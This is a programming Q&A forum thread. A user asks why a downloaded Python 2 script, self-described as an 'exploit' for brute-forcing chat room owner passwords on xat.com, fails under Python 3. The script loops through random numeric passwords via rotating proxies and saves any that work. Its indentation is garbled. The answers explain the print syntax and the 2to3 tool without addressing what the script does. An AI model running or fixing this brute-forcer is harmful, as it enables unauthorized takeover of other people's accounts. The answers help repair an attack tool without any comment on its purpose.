Syntax error in file . py

Asked

Viewed 323 times

-1

I looked for a code . py on the internet and at the time of executing it comes out the following message:

File "C: Users Valnei Desktop Xatexploit.py", line 26 print "Trying password => " + str(String_7)

Syntaxerror: invalid syntax

import random
import threading
from threading import Thread

#ArcticBear / ArcticFox / TheFox / EVERY OTHER NICKNAME X3 's Main Owner Exploit v2 (Chat Default Password Bruteforce)

global init, main, Room_3

def getBetween(strSource, strStart,strEnd):
    start = strSource.find(strStart) + len(strStart)
    end = strSource.find(strEnd,start)
    return strSource[start:end]

def xat(url):
    global Proxy_1, Proxy_2, Proxy_3, Proxy_4, Proxy_5
    Randomity = random.randint(1, 2)
    Password_1 = open("password.txt","a")
    Proxy_1 = [i.strip() for i in open('C:\Users\Valnei\Desktop\Proxies.txt','r').read().splitlines()]
    Proxy_2 = random.choice(Proxy_1)
    Proxy_3 = Proxy_2.split(':')
    Proxy_4 = 'http://' + str(Proxy_3[0]) + ':' + str(Proxy_3[1])
    if Randomity == 1:
      Page_1 = urllib.urlopen(url).read()
    else:
      Page_1 = urllib.urlopen(url, proxies = { 'http': Proxy_4 }).read()
      print "Trying password => " + str(String_7)
    try:
      Page_2 = getBetween(Page_1,'<font color=red><b> <span>','</span></b></font><BR>')
      if Page_2.find('not found') or Page_2.find('Error. Try again in 10 minutes.'):
           print("Failed!")
      else:
           print("Password found!")
           Password_1.write(str(Page_2))
 except:
      while 1:
           threading.Thread(target=main,args=()).start()
           time.sleep(2)
 while 1:
      threading.Thread(target=main,args=()).start()
      time.sleep(2)

 def init(Room):
     import random
     global String_7
     Strings_1, Strings_2 = ['a','b','c','d','e'], ['f','g','h','i','j']
     String_2 = ''.join(Strings_1)
     String_3 = ''.join(Strings_2)
     String_4 = len(String_2)
     String_5 = len(String_3)
     String_6 = int(String_4) ** 13
     String_7 = random.randint(String_6, 9999999999)
     #print str(String_7)
     xat('http://xat.com/web_gear/chat.php?id='+Room+'&pw='+str(String_7))
     time.sleep(1)

def main():
     init(Room_3)

import urllib
     Room_1 = 'NewOption'
     Room_2 = urllib.urlopen('http://xat.com/' + Room_1).read()
     Room_3 = getBetween(Room_2,'flashvars="id=','&')

     while 1:
         import time
         threading.Thread(target=main,args=()).start()
         time.sleep(1)
     while 1:
         threading.Thread(target=main,args=()).start()
         time.sleep(1)

My python version is 3.6.0. What do I do to fix this bug?

2 answers

3

You can use 2to3 library to automatically convert a python2 code to python3, so you wouldn’t need to downgrade python.

It should already be installed with your python.
On Linux, simply type the following command, which prints the diff needed to transform the code to python3:

2to3 source.py

Sometimes the command to be used can be a variation of 2to3, such as 2to3-3.4, for example.

In Windows, you would need a command like this, depending on where your python is installed:

python.exe C:\Python32\Tools\scripts\2to3.py source.py

To translate an entire project to another folder, just do this:

2to3 --output-dir=python3-version/mycode -W -n python2-version/mycode

Or, on Windows:

python.exe C:\Python32\Tools\scripts\2to3.py --output-dir=python3-version/mycode -W -n python2-version/mycode

For more information on the command, see documentation (in English).

  • I’m new and my +1 won’t show, but thank you!

  • You are welcome! Remember that even after the conversion with 2to3, some errors can still occur, because it is not always 100% effective. But surely there will be few errors and it will be possible to fix manually.

  • this file has other problematic points - for example, the path to the file using """, and not", or "/". @yab1997: you can accept the answer too- by clicking on the tab.

1

Missed a parentheses, stay like this:

print ("Trying password => " + str(String_7))

It is a compatibility problem between Python 2 and Python 3, 2.x works, 3.x does not.

  • The problem has been solved, but another error has arisen, should I downgrade Python? In case for any 2.x version?

  • I’m new and my +1 won’t show, but thank you!

Browser other questions tagged

You are not signed in. Login or sign up in order to post.